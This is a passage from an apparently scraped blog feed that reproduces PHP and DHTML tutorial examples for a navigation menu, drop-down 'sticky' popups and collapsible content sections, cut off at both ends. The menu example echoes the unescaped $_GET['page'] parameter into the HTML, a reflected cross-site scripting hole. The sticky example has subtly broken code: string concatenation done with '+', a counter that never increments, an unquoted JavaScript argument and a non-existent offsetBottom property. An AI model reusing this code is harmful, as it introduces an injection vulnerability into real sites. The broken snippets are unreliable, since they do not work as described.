class="docemphasis">index.php</span>.</p> <h5><a name="phphks-CHP-3-EXAMPLE-8"></a>Example 1. Using the menu library</h5> <pre style="color: rgb(153, 0, 0);"><?php</pre><pre style="color: rgb(153, 0, 0);">require_once( "menu.php" );</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">$page = "home";</pre><pre style="color: rgb(153, 0, 0);">if ( $_GET['page'] )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>$page = $_GET['page'];</pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);"><html></pre><pre style="color: rgb(153, 0, 0);"><head></pre><pre style="color: rgb(153, 0, 0);"><title>Page - <?php echo($page); ?></title></pre><pre style="color: rgb(153, 0, 0);"><?php echo menu_css( ); ?></pre><pre style="color: rgb(153, 0, 0);"></head></pre><pre style="color: rgb(153, 0, 0);"><body></pre><pre style="color: rgb(153, 0, 0);"><table cellspaceing="0" cellpadding="5"></pre><pre style="color: rgb(153, 0, 0);"><tr></pre><pre style="color: rgb(153, 0, 0);"><td width="200" valign="top"></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="NL"><?php page_menu( $page ); ?><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"></td></pre><pre style="color: rgb(153, 0, 0);"><td width="600" valign="top"></pre><pre style="color: rgb(153, 0, 0);">Page: <?php echo( $page ); ?></pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);"></td></pre><pre style="color: rgb(153, 0, 0);"></tr></pre><pre style="color: rgb(153, 0, 0);"></table></pre><pre style="color: rgb(153, 0, 0);"></body></pre><pre style="color: rgb(153, 0, 0);"></html></pre> <p class="MsoNormal"><o:p> </o:p></p> <p class="doctext">Example 2 shows the library, which is surprisingly simple.</p> <h5><a name="phphks-CHP-3-EXAMPLE-9"></a>Example 2. Making everything work with the PHP library, menu.php</h5> <pre style="color: rgb(153, 0, 0);"><?php</pre><pre style="color: rgb(153, 0, 0);">function menu_css( ) {</pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);"><style type="text/css"></pre><pre style="color: rgb(153, 0, 0);">.menu-inactive, .menu-active {</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>padding: 2px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>padding-left: 20px;</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>font-family: arial, verdana;</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">.menu-inactive { background: #ddd; }</pre><pre style="color: rgb(153, 0, 0);">.menu-active { background: #000; font-weight: bold; }</pre><pre style="color: rgb(153, 0, 0);">.menu-inactive a { text-decoration: none; }</pre><pre style="color: rgb(153, 0, 0);">.menu-active a { color: white; text-decoration: none; }</pre><pre style="color: rgb(153, 0, 0);"></style></pre><pre style="color: rgb(153, 0, 0);"><?php</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);"><o:p> </o:p></pre><pre style="color: rgb(153, 0, 0);">function menu_item( $id, $title, $current ) {</pre><pre style="color: rgb(153, 0, 0);">$class = "menu-inactive";</pre><pre style="color: rgb(153, 0, 0);">if ( $current == $id )</pre><pre style="color: rgb(153, 0, 0);"><span style=""> </span>$class = "menu-active";</pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);"><tr><td class="<?php echo($class); ?>"></pre><pre style="color: rgb(153, 0, 0);"><a href="index.php?page=<?php echo( $id ); ?>"></pre><pre style="color: rgb(153, 0, 0);"><?php echo( $title ); ?></pre><pre style="color: rgb(153, 0, 0);"></a></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"></td></tr><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="SV"><?php<o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="NL">}<o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="NL"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="" lang="NL">function page_menu( $page ) {<o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);">?></pre><pre style="color: rgb(153, 0, 0);"><table width="100%"></pre><pre style="color: rgb(153, 0, 0);"><?php menu_item( 'home', 'Home', $page ); ?></pre><pre style="color: rgb(153, 0, 0);"><?php menu_item( 'faq', 'FAQ', $page ); ?></pre><pre style="color: rgb(153, 0, 0);"><?php menu_item( 'download', 'Download', $page ); ?></pre><pre style="color: rgb(153, 0, 0);"><?php menu_item( 'links', 'Links', $page ); ?><o:p></o:p></pre><pre style="color: rgb(153, 0, 0);"><?php menu_item( 'credits', 'Credits', $page ); ?></pre><pre style="color: rgb(153, 0, 0);"></table></pre><pre style="color: rgb(153, 0, 0);"><?php</pre><pre style="color: rgb(153, 0, 0);">}</pre><pre style="color: rgb(153, 0, 0);">?></pre> <p class="MsoNormal"><o:p> </o:p></p> <p class="doctext"><span class="docemphasis">index.php</span> creates the menu by calling the <a name="idx-CHP-3-0132"></a><tt>page_menu</tt> function and specifying the page ID. The ID of the page is used to decide which menu item is selected. The <span class="docemphasis">index.php</span> script also calls the <a name="idx-CHP-3-0133"></a><tt>menu_css</tt> function to set <a name="idx-CHP-3-0134"></a>up the CSS styles for the menu.</p> <p class="doctext">You can change the makeup of the menu by altering the bottom portion of the <span class="docemphasis">menu.php</span> file to add or remove menu items. You can also change the look and feel of the menu by altering the CSS class definitions in the <tt>menu_css</tt> function.</p> <p class="doctext"><o:p> </o:p></p> <h4>Running</h4> <p class="doctext">Upload the code to the server and point your browser at <span class="docemphasis">index.php</span>. Your display should look like Figure 1.</p> <div style="text-align: center;"><a name="phphks-CHP-3-FIG-12"></a><span style="">Figure 1. The home page</span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhttCkrwR1OygJ5Jukpirx1GXKCMsP4xyeIcPFlPe5rSezproOPQiRojSDpW8RrLneaxUHfDzhiJuXetrDXbt7yK7O1SvFlyhrnMOT1wiRaghizvzVQRUbTv2dQodAO9x25EBGBMOm01HqR/s1600-h/22.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhttCkrwR1OygJ5Jukpirx1GXKCMsP4xyeIcPFlPe5rSezproOPQiRojSDpW8RrLneaxUHfDzhiJuXetrDXbt7yK7O1SvFlyhrnMOT1wiRaghizvzVQRUbTv2dQodAO9x25EBGBMOm01HqR/s320/22.bmp" alt="" id="BLOGGER_PHOTO_ID_5020650221739579906" border="0" /></a><br /> <p style="text-align: left;" class="doctext">Now click on the FAQ link; you should see something like Figure 2.</p> <div style="text-align: center;"><a name="phphks-CHP-3-SECT-8.3"></a><a name="phphks-CHP-3-FIG-13"></a><span style="">Figure 2. The FAQ page</span><br /></div></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh80kma8MKevis2eyB_fM8Sop8A0088nVPl5E8LcIvGwqLFaSGV0zpnMgRZ6fvP76M6VwwmmVFriM5FecEgvhSwN53pqTuGkJQ90LbyCwGOjE6CHp8ZfFlzUAJ0yk9C4xKel17YM-LQxwy9/s1600-h/23.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh80kma8MKevis2eyB_fM8Sop8A0088nVPl5E8LcIvGwqLFaSGV0zpnMgRZ6fvP76M6VwwmmVFriM5FecEgvhSwN53pqTuGkJQ90LbyCwGOjE6CHp8ZfFlzUAJ0yk9C4xKel17YM-LQxwy9/s320/23.bmp" alt="" id="BLOGGER_PHOTO_ID_5020650492322519570" border="0" /></a><br /><br /></div></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-73051414594416446992007-01-16T07:05:00.000-08:002007-01-16T07:23:43.717-08:00Create Drop-Down Stickies<span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVm5GnUroT2MijGKghYwpcB3EzXDDtzk-H5CgS7vDEVvbY15oHbDZL74EOfj4CT2mtWnHSUF406WO96mrcL4ICu1wzjG_Yl0DIVexeO6HgZQTRfAeEwbCY2nKkL2j0geaAbg0Er16RGXyF/s1600-h/20.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVm5GnUroT2MijGKghYwpcB3EzXDDtzk-H5CgS7vDEVvbY15oHbDZL74EOfj4CT2mtWnHSUF406WO96mrcL4ICu1wzjG_Yl0DIVexeO6HgZQTRfAeEwbCY2nKkL2j0geaAbg0Er16RGXyF/s320/20.bmp" alt="" id="BLOGGER_PHOTO_ID_5020645166563072482" border="0" /></a><br /></span> <p class="doctext"><span class="docemphbold" style="font-size:100%;">Use DHTML to position sticky drop-down windows relative to keywords in your HTML</span><span style="font-size:100%;">.</span></p> <p class="doctext"><span style="font-size:100%;">Attaching a drop-down sticky to a word or phrase in your document is an easy way to add valuable information close to the word, without obscuring it. That way, the user can click on the word and get more contextual information, all without scrolling or lots of mouse movement.</span></p> <h4><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-7.1"></a>The Code</span></h4><span class="fullpost"> <p class="doctext"><span style="font-size:100%;">Save the code in Example 1 as </span><span class="docemphasis" style="font-size:100%;">index.php</span><span style="font-size:100%;">.</span></p> <h5><span style="font-size:100%;"><a name="phphks-CHP-3-EXAMPLE-7"></a>Example 1. PHP and JavaScript cooperate to make drop-down stickies work</span></h5> <pre><span style="font-size:100%;"><a name="idx-CHP-3-0122"></a><span style="color: rgb(153, 0, 0);"><?php</span></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">$nextid = 1;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function start_link( $text )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">global $nextid;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">$idtext = "a"+$nextid;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?><br /><a href="javascript: void drop( '<?php echo($idtext); ?>' );"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><span id="a_<?php echo($idtext); ?>"><?php echo($text); ?><br /></span></a></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><div id="<?php echo($idtext); ?>"<br />class="drop" style="visibility:hidden;"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><table cellspacing="0" cellpadding="0" width="170"><tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><td valign="top" width="20"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><a href="javascript: void close(<?php echo($idtext); ?>)"><br /><img src="close.gif"</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">border="0"></a></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></td></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><td valign="top" width="150"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function end_link( )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></td></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></tr></table></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></div><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function link_header( )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><style type="text/css"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">body { font-family: arial, verdana; }</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">.drop {</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">padding: 5px;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">font-size: small;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">background: #eee;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">border: 1px solid black;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">position: absolute;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></style></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><script language="Javascript"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function drop( sid )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">aobj = document.getElementById( "a_"+sid );</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj = document.getElementById( sid );</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.top = aobj.offsetBottom+10;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.left = aobj.offsetLeft+10;</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.visibility = "visible";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function close( sid )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj = document.getElementById( sid );</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.visibility = "hidden";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></script></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><html></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><head></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php <a name="idx-CHP-3-0123"></a>link_header( ); ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></head></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><body></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">Hey <?php <a name="idx-CHP-3-0124"></a>start_link( "this is interesting" ); ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">That really<br/></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">Is interesting <?php <a name="idx-CHP-3-0125"></a>end_link( ); ?>. <span style="color: rgb(0, 0, 0);">How about that.</span></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><br /></span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">The popup will go over text and all that.<br/></span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">And it will stay up until it's dismissed with the close</span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">button.</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></body></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></html></span></pre> <p class="MsoNormal"><span style="font-size:100%;"><o:p> </o:p></span></p> <p class="doctext"><span style="font-size:100%;">The script defines three functions at the top of the file: <tt>start_link, end_link</tt>, and <tt>link_header</tt>. The call to <tt>start_link</tt> takes the text of the link as an argument. The contents of the <a name="idx-CHP-3-0126"></a>drop-down box are then supplied, and the <tt>end_link</tt> call is made.</span></p> <h4><span style="font-size:100%;">Running</span></h4> <p class="doctext"><span style="font-size:100%;">Copy the code and the images to the server. Point your browser to the </span><span class="docemphasis" style="font-size:100%;">index.php</span><span style="font-size:100%;"> script and you will see something similar to Figure 1.</span></p> <span style="font-size:100%;"><a name="phphks-CHP-3-FIG-10"></a></span><span style="">Figure 1. A clickable keyword in the document</span><span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVm5GnUroT2MijGKghYwpcB3EzXDDtzk-H5CgS7vDEVvbY15oHbDZL74EOfj4CT2mtWnHSUF406WO96mrcL4ICu1wzjG_Yl0DIVexeO6HgZQTRfAeEwbCY2nKkL2j0geaAbg0Er16RGXyF/s1600-h/20.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVm5GnUroT2MijGKghYwpcB3EzXDDtzk-H5CgS7vDEVvbY15oHbDZL74EOfj4CT2mtWnHSUF406WO96mrcL4ICu1wzjG_Yl0DIVexeO6HgZQTRfAeEwbCY2nKkL2j0geaAbg0Er16RGXyF/s320/20.bmp" alt="" id="BLOGGER_PHOTO_ID_5020645166563072482" border="0" /></a><br /></span> <p class="doctext"><span style="font-size:100%;">Now click on the link and you will get the drop-down box with a close icon, as shown in Figure 2.</span></p> <h5 style="text-align: center;" align="center"><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-7.3"></a><a name="phphks-CHP-3-FIG-11"></a>Figure 2. The drop down positioned under the link</span></h5> <span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF1VkJ9p3ZbO9BihyphenhyphenRPAcAzQ4wGPIO8ftfaApYO8VOH0sF4fiVNDbKQUDnIs9_W2dFCXhCqo0CEFqRFuqwNe1oP7Tf_0cPex0nJorDe5uVtGrMLLAYvlYBxDprxHSwxk27y6JyR_Yz2_7e/s1600-h/21.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF1VkJ9p3ZbO9BihyphenhyphenRPAcAzQ4wGPIO8ftfaApYO8VOH0sF4fiVNDbKQUDnIs9_W2dFCXhCqo0CEFqRFuqwNe1oP7Tf_0cPex0nJorDe5uVtGrMLLAYvlYBxDprxHSwxk27y6JyR_Yz2_7e/s320/21.bmp" alt="" id="BLOGGER_PHOTO_ID_5020645703433984498" border="0" /></a><br /><br /></span></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-79252273747869381322007-01-16T06:36:00.000-08:002007-01-16T07:02:00.536-08:00Section Your Content with Spinners<span style="font-size:100%;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrZ0HrjIk17uh0Emmo6BZv6kE2QhlbzboDVcL4BrqrCOWhL-o-HwQ3x2n4y_0ggP7U8FAkvaSraSVrlDCECaYLVbftkCUKxeHD5gueTgRMKWBQKzDVmEFCSSC2Ey_OkXlsbo8aScd3noU_/s1600-h/18.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrZ0HrjIk17uh0Emmo6BZv6kE2QhlbzboDVcL4BrqrCOWhL-o-HwQ3x2n4y_0ggP7U8FAkvaSraSVrlDCECaYLVbftkCUKxeHD5gueTgRMKWBQKzDVmEFCSSC2Ey_OkXlsbo8aScd3noU_/s320/18.bmp" alt="" id="BLOGGER_PHOTO_ID_5020637530111220162" border="0" /></a><br /></span> <p class="doctext"><span class="docemphbold" style="font-size:100%;">Use spinners to divide your <a name="idx-CHP-3-0111"></a>page content into sections, each of which you can show or hide individually</span><span style="font-size:100%;">.</span></p> <h4><span style="font-size:100%;"><a name="phphks-CHP-3-SECT-6.1"></a>The Code</span></h4><span class="fullpost"> <p class="doctext"><span style="font-size:100%;">The code for </span><span class="docemphasis" style="font-size:100%;">index.php</span><span style="font-size:100%;"> is shown in Example 1.</span></p> <h5><span style="font-size:100%;"><a name="phphks-CHP-3-EXAMPLE-6"></a>Example 1. PHP allowing for user selection of a specific spinner</span></h5> <pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function start_section( $id, $title )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><table cellspacing="0" cellpadding="0"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><td width="30" valign="top"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><a href="javascript: void twist('<?php echo($id); ?>');"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><img src="up.gif" border="0" id="img_<?php echo($id); ?>"/></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></a></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></td></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><td width="90%"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><h1><?php echo( $title ); ?></h1></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><div style="visibility:hidden;position:absolute;"</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">id="<?php echo($id); ?>" class="spin-content"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function end_section( )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span lang="SV" style="font-size:100%;"></div><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span lang="SV" style="font-size:100%;"></td><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span lang="SV" style="font-size:100%;"></tr><o:p></o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></table></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function spinner_header( )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><style type="text/css"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><o:p> </o:p></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">body { font-family: arial, verdana; }</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">h1 { font-size: medium; border-bottom: 1px solid black; }</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">.spin-content{font-size:small;margin-left:10px;padding:10px;}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></style></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><script language="Javascript"></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">function twist( sid )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">imgobj = document.getElementById( "img_"+sid );</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj = document.getElementById( sid );</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">if ( imgobj.src.match( "up.gif" ) )</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">imgobj.src = "down.gif";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.position = "relative";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.visibility = "visible";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">else</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">{</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">imgobj.src = "up.gif";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.visibility = "hidden";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">divobj.style.position = "absolute";</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"> </span><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></script></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">}</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><html></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><head></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php spinner_header( ) ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></head></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><body></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php start_section( "one", "Report part one" ) ?></span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">This report will tell you a lot of stuff you didn't<br />know before.</span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">And that's good.<br />Because that's what a report should do.</span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">But it will tell you so much that it needs to be<br />rolled up into sections</span></pre><pre style="color: rgb(0, 0, 0);"><span style="font-size:100%;">so that you don't have to gasp as you see it all at once.</span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php end_section( ) ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php start_section( "two", "Report part two" ) ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;">This is a table of numbers and such:<br/></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><table></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr><th>State</th><th>Total</th></tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr><td>CA</td><td>$35M</td></tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr><td>PA</td><td>$22M</td></tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr><td>NC</td><td>$5M</td></tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><tr><td>FL</td><td>$15M</td></tr></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></table></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"><?php end_section( ) ?></span></pre><pre style="color: rgb(153, 0, 0);"><span style="font-size:100%;"></body></span></pre><pre style="color: rgb(153, 0, 